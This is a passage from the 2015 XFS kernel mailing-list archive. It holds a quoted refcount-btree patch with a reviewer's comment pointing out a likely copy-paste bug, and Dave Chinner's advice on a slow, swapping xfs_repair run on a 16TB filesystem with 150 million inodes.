+ (rl).rc_blockcount) > +/* > + * Split a left rlextent that crosses agbno. > + */ > +STATIC int > +try_split_left_rlextent( > + struct xfs_btree_cur *cur, > + xfs_agblock_t agbno) > +{ > + struct xfs_refcount_irec left, tmp; > + int found_rec; > + int error; > + > + error = xfs_refcountbt_lookup_le(cur, agbno, &found_rec); > + if (error) > + goto out_error; > + if (!found_rec) > + return 0; > + > + error = xfs_refcountbt_get_rec(cur, &left, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + if (left.rc_startblock >= agbno || RLNEXT(left) <= agbno) > + return 0; > + > + trace_xfs_refcount_split_left_extent(cur->bc_mp, cur->bc_private.a.agno, > + &left, agbno); > + tmp = left; > + tmp.rc_blockcount = agbno - left.rc_startblock; > + error = xfs_refcountbt_update(cur, &tmp); > + if (error) > + goto out_error; > + > + error = xfs_btree_increment(cur, 0, &found_rec); > + if (error) > + goto out_error; > + > + tmp = left; > + tmp.rc_startblock = agbno; > + tmp.rc_blockcount -= (agbno - left.rc_startblock); > + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + return error; > + > +out_error: > + trace_xfs_refcount_split_left_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Split a right rlextent that crosses agbno. > + */ > +STATIC int > +try_split_right_rlextent( > + struct xfs_btree_cur *cur, > + xfs_agblock_t agbnext) > +{ > + struct xfs_refcount_irec right, tmp; > + int found_rec; > + int error; > + > + error = xfs_refcountbt_lookup_le(cur, agbnext - 1, &found_rec); > + if (error) > + goto out_error; > + if (!found_rec) > + return 0; > + > + error = xfs_refcountbt_get_rec(cur, &right, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + if (RLNEXT(right) <= agbnext) > + return 0; > + > + trace_xfs_refcount_split_right_extent(cur->bc_mp, > + cur->bc_private.a.agno, &right, agbnext); > + tmp = right; > + tmp.rc_startblock = agbnext; > + tmp.rc_blockcount -= (agbnext - right.rc_startblock); > + error = xfs_refcountbt_update(cur, &tmp); > + if (error) > + goto out_error; > + > + tmp = right; > + tmp.rc_blockcount = agbnext - right.rc_startblock; > + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + return error; > + > +out_error: > + trace_xfs_refcount_split_right_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Merge the left, center, and right extents. > + */ > +STATIC int > +merge_center( > + struct xfs_btree_cur *cur, > + struct xfs_refcount_irec *left, > + struct xfs_refcount_irec *center, > + unsigned long long extlen, > + xfs_agblock_t *agbno, > + xfs_extlen_t *aglen) > +{ > + int error; > + int found_rec; > + > + error = xfs_refcountbt_lookup_ge(cur, center->rc_startblock, > + &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + error = xfs_refcountbt_delete(cur, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + if (center->rc_refcount > 1) { > + error = xfs_refcountbt_delete(cur, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + } > + > + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, > + &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + left->rc_blockcount = extlen; > + error = xfs_refcountbt_update(cur, left); > + if (error) > + goto out_error; > + > + *aglen = 0; > + return error; > + > +out_error: > + trace_xfs_refcount_merge_center_extents_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Merge with the left extent. > + */ > +STATIC int > +merge_left( > + struct xfs_btree_cur *cur, > + struct xfs_refcount_irec *left, > + struct xfs_refcount_irec *cleft, > + xfs_agblock_t *agbno, > + xfs_extlen_t *aglen) > +{ > + int error; > + int found_rec; > + > + if (cleft->rc_refcount > 1) { > + error = xfs_refcountbt_lookup_le(cur, cleft->rc_startblock, > + &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + > + error = xfs_refcountbt_delete(cur, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + } > + > + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, > + &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + left->rc_blockcount += cleft->rc_blockcount; > + error = xfs_refcountbt_update(cur, left); > + if (error) > + goto out_error; > + > + *agbno += cleft->rc_blockcount; > + *aglen -= cleft->rc_blockcount; > + return error; > + > +out_error: > + trace_xfs_refcount_merge_left_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Merge with the right extent. > + */ > +STATIC int > +merge_right( > + struct xfs_btree_cur *cur, > + struct xfs_refcount_irec *right, > + struct xfs_refcount_irec *cright, > + xfs_agblock_t *agbno, > + xfs_extlen_t *aglen) > +{ > + int error; > + int found_rec; > + > + if (cright->rc_refcount > 1) { > + error = xfs_refcountbt_lookup_le(cur, cright->rc_startblock, > + &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + > + error = xfs_refcountbt_delete(cur, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + } > + > + error = xfs_refcountbt_lookup_le(cur, right->rc_startblock, > + &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + right->rc_startblock -= cright->rc_blockcount; > + right->rc_blockcount += cright->rc_blockcount; > + error = xfs_refcountbt_update(cur, right); > + if (error) > + goto out_error; > + > + *aglen -= cright->rc_blockcount; > + return error; > + > +out_error: > + trace_xfs_refcount_merge_right_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Find the left extent and the one after it (cleft). This function assumes > + * that we've already split any extent crossing agbno. > + */ > +STATIC int > +find_left_extent( > + struct xfs_btree_cur *cur, > + struct xfs_refcount_irec *left, > + struct xfs_refcount_irec *cleft, > + xfs_agblock_t agbno, > + xfs_extlen_t aglen) > +{ > + struct xfs_refcount_irec tmp; > + int error; > + int found_rec; > + > + left->rc_blockcount = cleft->rc_blockcount = 0; > + error = xfs_refcountbt_lookup_le(cur, agbno - 1, &found_rec); > + if (error) > + goto out_error; > + if (!found_rec) > + return 0; > + > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + if (RLNEXT(tmp) != agbno) > + return 0; > + /* We have a left extent; retrieve (or invent) the next right one */ > + *left = tmp; > + > + error = xfs_btree_increment(cur, 0, &found_rec); > + if (error) > + goto out_error; > + if (found_rec) { > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + > + if (tmp.rc_startblock == agbno) > + *cleft = tmp; > + else { > + cleft->rc_startblock = agbno; > + cleft->rc_blockcount = min(aglen, > + tmp.rc_startblock - agbno); > + cleft->rc_refcount = 1; > + } > + } else { > + cleft->rc_startblock = agbno; > + cleft->rc_blockcount = aglen; > + cleft->rc_refcount = 1; > + } > + trace_xfs_refcount_find_left_extent(cur->bc_mp, cur->bc_private.a.agno, > + left, cleft, agbno); > + return error; > + > +out_error: > + trace_xfs_refcount_find_left_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Find the right extent and the one before it (cright). This function > + * assumes that we've already split any extents crossing agbno + aglen. > + */ > +STATIC int > +find_right_extent( > + struct xfs_btree_cur *cur, > + struct xfs_refcount_irec *right, > + struct xfs_refcount_irec *cright, > + xfs_agblock_t agbno, > + xfs_extlen_t aglen) > +{ > + struct xfs_refcount_irec tmp; > + int error; > + int found_rec; > + > + right->rc_blockcount = cright->rc_blockcount = 0; > + error = xfs_refcountbt_lookup_ge(cur, agbno + aglen, &found_rec); > + if (error) > + goto out_error; > + if (!found_rec) > + return 0; > + > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > + > + if (tmp.rc_startblock != agbno + aglen) > + return 0; > + /* We have a right extent; retrieve (or invent) the next left one */ > + *right = tmp; > + > + error = xfs_btree_decrement(cur, 0, &found_rec); > + if (error) > + goto out_error; > + if (found_rec) { > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > + out_error); > + > + if (tmp.rc_startblock == agbno) Since tmp represents the refcount extent immediately to the left of (agbno + aglen), we want to copy tmp into cright if the end of tmp coincides with (agbno + aglen). This is probably a copy-pasta mistake. Also, s/RLNEXT/RCNEXT/ since these are refcount extents, not reflink extents. (Weird anachronism). --D > + *cright = tmp; > + else { > + cright->rc_startblock = max(agbno, > + RLNEXT(tmp)); > + cright->rc_blockcount = right->rc_startblock - > + cright->rc_startblock; > + cright->rc_refcount = 1; > + } > + } else { > + cright->rc_startblock = agbno; > + cright->rc_blockcount = aglen; > + cright->rc_refcount = 1; > + } > + trace_xfs_refcount_find_right_extent(cur->bc_mp, cur->bc_private.a.agno, > + cright, right, agbno + aglen); > + return error; > + > +out_error: > + trace_xfs_refcount_find_right_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > +#undef RLNEXT > + > +/* > + * Try to merge with any extents on the boundaries of the adjustment range. > + */ > +STATIC int > +try_merge_rlextents( > + struct xfs_btree_cur *cur, > + xfs_agblock_t *agbno, > + xfs_extlen_t *aglen, > + int adjust) > +{ > + struct xfs_refcount_irec left, cleft, cright, right; > + int error; > + unsigned long long ulen; > + > + left.rc_blockcount = cleft.rc_blockcount = 0; > + cright.rc_blockcount = right.rc_blockcount = 0; > + > + /* > + * Find extents abutting the start and end of the range, and > + * the adjacent extents inside the range. > + */ > + error = find_left_extent(cur, &left, &cleft, *agbno, *aglen); > + if (error) > + return error; > + error = find_right_extent(cur, &right, &cright, *agbno, *aglen); > + if (error) > + return error; > + > + /* No left or right extent to merge; exit. */ > + if (left.rc_blockcount == 0 && right.rc_blockcount == 0) > + return 0; > + > + /* Try a center merge */ > + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount + > + right.rc_blockcount; > + if (left.rc_blockcount != 0 && right.rc_blockcount != 0 && > + memcmp(&cleft, &cright, sizeof(cleft)) == 0 && > + left.rc_refcount == cleft.rc_refcount + adjust && > + right.rc_refcount == cleft.rc_refcount + adjust && > + ulen < MAXREFCEXTLEN) { > + trace_xfs_refcount_merge_center_extents(cur->bc_mp, > + cur->bc_private.a.agno, &left, &cleft, &right); > + return merge_center(cur, &left, &cleft, ulen, agbno, aglen); > + } > + > + /* Try a left merge */ > + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount; > + if (left.rc_blockcount != 0 && > + left.rc_refcount == cleft.rc_refcount + adjust && > + ulen < MAXREFCEXTLEN) { > + trace_xfs_refcount_merge_left_extent(cur->bc_mp, > + cur->bc_private.a.agno, &left, &cleft); > + return merge_left(cur, &left, &cleft, agbno, aglen); > + } > + > + /* Try a right merge */ > + ulen = (unsigned long long)right.rc_blockcount + cright.rc_blockcount; > + if (right.rc_blockcount != 0 && > + right.rc_refcount == cright.rc_refcount + adjust && > + ulen < MAXREFCEXTLEN) { > + trace_xfs_refcount_merge_right_extent(cur->bc_mp, > + cur->bc_private.a.agno, &cright, &right); > + return merge_right(cur, &right, &cright, agbno, aglen); > + } > + > + return error; > +} > + > +/* > + * Adjust the refcounts of middle extents. At this point we should have > + * split extents that crossed the adjustment range; merged with adjacent > + * extents; and updated agbno/aglen to reflect the merges. Therefore, > + * all we have to do is update the extents inside [agbno, agbno + aglen]. > + */ > +STATIC int > +adjust_rlextents( > + struct xfs_btree_cur *cur, > + xfs_agblock_t agbno, > + xfs_extlen_t aglen, > + int adj, > + struct xfs_bmap_free *flist, > + struct xfs_owner_info *oinfo) > +{ > + struct xfs_refcount_irec ext, tmp; > + int error; > + int found_rec, found_tmp; > + xfs_fsblock_t fsbno; > + > + error = xfs_refcountbt_lookup_ge(cur, agbno, &found_rec); > + if (error) > + goto out_error; > + > + while (aglen > 0) { > + error = xfs_refcountbt_get_rec(cur, &ext, &found_rec); > + if (error) > + goto out_error; > + if (!found_rec) { > + ext.rc_startblock = cur->bc_mp->m_sb.sb_agblocks; > + ext.rc_blockcount = 0; > + ext.rc_refcount = 0; > + } > + > + /* > + * Deal with a hole in the refcount tree; if a file maps to > + * these blocks and there's no refcountbt recourd, pretend that > + * there is one with refcount == 1. > + */ > + if (ext.rc_startblock != agbno) { > + tmp.rc_startblock = agbno; > + tmp.rc_blockcount = min(aglen, > + ext.rc_startblock - agbno); > + tmp.rc_refcount = 1 + adj; > + trace_xfs_refcount_modify_extent(cur->bc_mp, > + cur->bc_private.a.agno, &tmp); > + > + /* > + * Either cover the hole (increment) or > + * delete the range (decrement). > + */ > + if (tmp.rc_refcount) { > + error = xfs_refcountbt_insert(cur, &tmp, > + &found_tmp); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, > + found_tmp == 1, out_error); > + } else { > + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, > + cur->bc_private.a.agno, > + tmp.rc_startblock); > + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, > + tmp.rc_blockcount, oinfo); > + } > + > + agbno += tmp.rc_blockcount; > + aglen -= tmp.rc_blockcount; > + > + error = xfs_refcountbt_lookup_ge(cur, agbno, > + &found_rec); > + if (error) > + goto out_error; > + } > + > + /* Stop if there's nothing left to modify */ > + if (aglen == 0) > + break; > + > + /* > + * Adjust the reference count and either update the tree > + * (incr) or free the blocks (decr). > + */ > + ext.rc_refcount += adj; > + trace_xfs_refcount_modify_extent(cur->bc_mp, > + cur->bc_private.a.agno, &ext); > + if (ext.rc_refcount > 1) { > + error = xfs_refcountbt_update(cur, &ext); > + if (error) > + goto out_error; > + } else if (ext.rc_refcount == 1) { > + error = xfs_refcountbt_delete(cur, &found_rec); > + if (error) > + goto out_error; > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, > + found_rec == 1, out_error); > + goto advloop; > + } else { > + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, > + cur->bc_private.a.agno, > + ext.rc_startblock); > + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, > + ext.rc_blockcount, oinfo); > + } > + > + error = xfs_btree_increment(cur, 0, &found_rec); > + if (error) > + goto out_error; > + > +advloop: > + agbno += ext.rc_blockcount; > + aglen -= ext.rc_blockcount; > + } > + > + return error; > +out_error: > + trace_xfs_refcount_modify_extent_error(cur->bc_mp, > + cur->bc_private.a.agno, error, _RET_IP_); > + return error; > +} > + > +/* > + * Adjust the reference count of a range of AG blocks. > + * > + * @mp: XFS mount object > + * @tp: XFS transaction object > + * @agbp: Buffer containing the AGF > + * @agno: AG number > + * @agbno: Start of range to adjust > + * @aglen: Length of range to adjust > + * @adj: +1 to increment, -1 to decrement reference count > + * @flist: freelist (only required if adj == -1) > + * @owner: owner of the blocks (only required if adj == -1) > + */ > +STATIC int > +xfs_refcountbt_adjust_refcount( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + xfs_agnumber_t agno, > + xfs_agblock_t agbno, > + xfs_extlen_t aglen, > + int adj, > + struct xfs_bmap_free *flist, > + struct xfs_owner_info *oinfo) > +{ > + struct xfs_btree_cur *cur; > + int error; > + > + cur = xfs_refcountbt_init_cursor(mp, tp, agbp, agno, flist); > + > + /* > + * Ensure that no rlextents cross the boundary of the adjustment range. > + */ > + error = try_split_left_rlextent(cur, agbno); > + if (error) > + goto out_error; > + > + error = try_split_right_rlextent(cur, agbno + aglen); > + if (error) > + goto out_error; > + > + /* > + * Try to merge with the left or right extents of the range. > + */ > + error = try_merge_rlextents(cur, &agbno, &aglen, adj); > + if (error) > + goto out_error; > + > + /* Now that we've taken care of the ends, adjust the middle extents */ > + error = adjust_rlextents(cur, agbno, aglen, adj, flist, oinfo); > + if (error) > + goto out_error; > + > + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > + return 0; > + > +out_error: > + trace_xfs_refcount_adjust_error(mp, agno, error, _RET_IP_); > + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); > + return error; > +} > + > +/** > + * Increase the reference count of a range of AG blocks. > + * > + * @mp: XFS mount object > + * @tp: XFS transaction object > + * @agbp: Buffer containing the AGF > + * @agno: AG number > + * @agbno: Start of range to adjust > + * @aglen: Length of range to adjust > + * @flist: List of blocks to free > + */ > +int > +xfs_refcount_increase( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + xfs_agnumber_t agno, > + xfs_agblock_t agbno, > + xfs_extlen_t aglen, > + struct xfs_bmap_free *flist) > +{ > + trace_xfs_refcount_increase(mp, agno, agbno, aglen); > + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, > + aglen, 1, flist, NULL); > +} > + > +/** > + * Decrease the reference count of a range of AG blocks. > + * > + * @mp: XFS mount object > + * @tp: XFS transaction object > + * @agbp: Buffer containing the AGF > + * @agno: AG number > + * @agbno: Start of range to adjust > + * @aglen: Length of range to adjust > + * @flist: List of blocks to free > + * @owner: Extent owner > + */ > +int > +xfs_refcount_decrease( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + xfs_agnumber_t agno, > + xfs_agblock_t agbno, > + xfs_extlen_t aglen, > + struct xfs_bmap_free *flist, > + struct xfs_owner_info *oinfo) > +{ > + trace_xfs_refcount_decrease(mp, agno, agbno, aglen); > + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, > + aglen, -1, flist, oinfo); > +} > diff --git a/fs/xfs/libxfs/xfs_refcount.h b/fs/xfs/libxfs/xfs_refcount.h > index 033a9b1..6640e3d 100644 > --- a/fs/xfs/libxfs/xfs_refcount.h > +++ b/fs/xfs/libxfs/xfs_refcount.h > @@ -26,4 +26,12 @@ extern int xfs_refcountbt_lookup_ge(struct xfs_btree_cur *cur, > extern int xfs_refcountbt_get_rec(struct xfs_btree_cur *cur, > struct xfs_refcount_irec *irec, int *stat); > > +extern int xfs_refcount_increase(struct xfs_mount *mp, struct xfs_trans *tp, > + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, > + xfs_extlen_t aglen, struct xfs_bmap_free *flist); > +extern int xfs_refcount_decrease(struct xfs_mount *mp, struct xfs_trans *tp, > + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, > + xfs_extlen_t aglen, struct xfs_bmap_free *flist, > + struct xfs_owner_info *oinfo); > + > #endif /* __XFS_REFCOUNT_H__ */ > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Tue Oct 27 14:39:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A6F8E7F37 for ; Tue, 27 Oct 2015 14:39:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 96E49304032 for ; Tue, 27 Oct 2015 12:39:27 -0700 (PDT) X-ASG-Debug-ID: 1445974761-04cbb0660fbcb40001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OCjTztlDrotppZzI for ; Tue, 27 Oct 2015 12:39:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CtCACi0i9WPBQPLHlEGigBgw1Ub40NnHYMAQEBAQEBBospiy0jhXECAgEBAoFDTQEBAQEBAQcBAQEBQT+EMgEBAQMBOhwjBQsIAw4KCSUPBSUDBxoTiCgHDjvFQAEBAQEGAgEgGYYXhUWCboEzHQEMQgeELgWHPI58hRyIAIFhh2OFaoRSiDqCdB2Baio0AYQlAR6BKQEBAQ Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Oct 2015 06:08:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrA59-0005Tp-4w; Wed, 28 Oct 2015 06:38:55 +1100 Date: Wed, 28 Oct 2015 06:38:55 +1100 From: Dave Chinner To: Michael Weissenbacher Cc: xfs@oss.sgi.com Subject: Re: Speeding up xfs_repair on filesystem with millions of inodes Message-ID: <20151027193855.GM8773@dastard> X-ASG-Orig-Subj: Re: Speeding up xfs_repair on filesystem with millions of inodes References: <562F699E.2050002@dermichi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <562F699E.2050002@dermichi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445974762 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23866 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Oct 27, 2015 at 01:10:06PM +0100, Michael Weissenbacher wrote: > Hi List! > I have an xfs filesystem which probably suffered a corruption due to a > bad UPS (even though the RAID controller has a good BBU). At the time > the power loss occurred the filesystem was mounted with the "nobarrier" > option. > > We noticed the problem several weeks later, when some rsync-based backup > jobs started to hang for days without progress when doing a simple "rm". > This was accompanied by some messages in dmesg like this one: [cleanup line-wrapped paste mess] > INFO: task kswapd0:38 blocked for more than 120 seconds. > "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > kswapd0 D ffffffff8180bea0 0 38 2 0x00000000 > ffff880225f73968 0000000000000046 ffff880225c42e20 0000000000013180 > ffff880225f73fd8 ffff880225f72010 0000000000013180 0000000000013180 > ffff880225f73fd8 0000000000013180 ffff880225c42e20 ffff88022611dc40 > Call Trace: > [] schedule+0x29/0x70 > [] io_schedule+0x8c/0xd0 > [] __xfs_iflock+0xdf/0x110 > [] ? autoremove_wake_function+0x40/0x40 > [] xfs_reclaim_inode+0xc4/0x330 > [] xfs_reclaim_inodes_ag+0x1f6/0x330 > [] xfs_reclaim_inodes_nr+0x33/0x40 > [] xfs_fs_free_cached_objects+0x15/0x20 > [] prune_super+0x11e/0x1a0 > [] shrink_slab+0x19f/0x2d0 > [] kswapd+0x698/0xae0 > [] ? wake_up_bit+0x40/0x40 > [] ? zone_reclaim+0x410/0x410 > [] kthread+0xce/0xe0 > [] ? kthread_freezable_should_stop+0x70/0x70 > [] ret_from_fork+0x7c/0xb0 > [] ? kthread_freezable_should_stop+0x70/0x70 It's waiting on inode IO to complete in memory reclaim. I'd say you have a problem with lots of dirty inodes in memory and very slow writeback due to using something like RAID5/6 (this can be *seriously* slow as mentioned recently here: http://oss.sgi.com/archives/xfs/2015-10/msg00560.html). > So i decided to unmount the fs and run xfs_repair on it. Unfortunately, > after almost a week, this hasn't finished yet. It seems to do so much > swapping that it hardly makes any progress. Currently it has been in > Phase 6 (traversing filesystem) for several days. Was it making progress, just burning CPU, or was it just hung? Attaching the actual output of repair is also helpful, as are all the things here: http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > I found a thread suggesting to add an ssd as swap drive, which i did > yesterday. I also added the "-P" option to xfs_repair since it helped in > some cases similar in the past. "-P" slows xfs_repair down greatly. > I am using the latest xfs_repair version 3.2.4, compiled myself. > > The filesystem is 16TB in size and contains about 150 million inodes. > The machine has 8GB of RAM available. http://xfs.org/index.php/XFS_FAQ#Q:_Which_factors_influence_the_memory_usage_of_xfs_repair.3F > The kernel version at the time of the power loss was 3.10.44 and was > upgraded to 3.10.90 afterwards. > > My questions are the following: > - Is there anything else i could try to speed up the progress besides > beefing up the RAM of the machine? Currently it has 8GB which is not > very much for the task i suppose. I read about the "-m" option and about If repair is swapping, then adding more RAM and/or faster swap space will help. There is nothing that you can tweak that changes the runtime or behaviour of phase 6 - it is single threaded and requires traversal of the entire filesystem directory heirarchy to find all the disconnected inodes so they can be moved to lost+found. And it does write inodes, so if you have a slow SATA RAID5/6... > "-o bhash=" but i am unsure if they could help in this case. It can, but increasing it makes repair use more memory. You might like to try "-o ag_stride=-1" to reduce phase 2-5 memory usage, but that does not affect phase 6 behaviour... > - Are there any rough guidelines on how much RAM is needed for > xfs_repair on a given filesystem? How does it depend on the number of > inodes or on the size of the file system? See above. Those numbers don't include reclaimable memory like the buffer cache footprint, which is affected by bhash and concurrency.... > - How long could the quota check on mount take when the repair is > finished (the filesystem is mounted with usrquota, grpquota). As long as it takes to read all the inodes. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Oct 27 14:55:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 17C547F37 for ; Tue, 27 Oct 2015 14:55:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9D53DAC003 for ; Tue, 27 Oct 2015 12:55:08 -0700 (PDT) X-ASG-Debug-ID: 1445975704-04cbb0660dbd0d0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id GcXoWEA03Hpk1fHN for ; Tue, 27 Oct 2015 12:55:04 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DHCAD11S9WPBQPLHleKAGDDYFDhlqjNQEBAQEBAQaLKYUkhgmGFAICAQECgURNAQEBAQEBBwEBAQFBP4QyAQEBAwEnExwjBQsIAw4KCSUPBSUDBxoTiCgHxgcBAQgCASAZhheFRYUNB4QuBZY4jRyBYYQ/lhqCdB2Baio0hW4BAQE Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Oct 2015 06:25:04 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrAKk-0005VQ-Tv; Wed, 28 Oct 2015 06:55:02 +1100 Date: Wed, 28 Oct 2015 06:55:02 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces Message-ID: <20151027195502.GN8773@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-4-git-send-email-agruenba@redhat.com> <20151026214651.GJ8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445975704 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23867 Rule breakdown below pts rule name description ---- ---------------------- 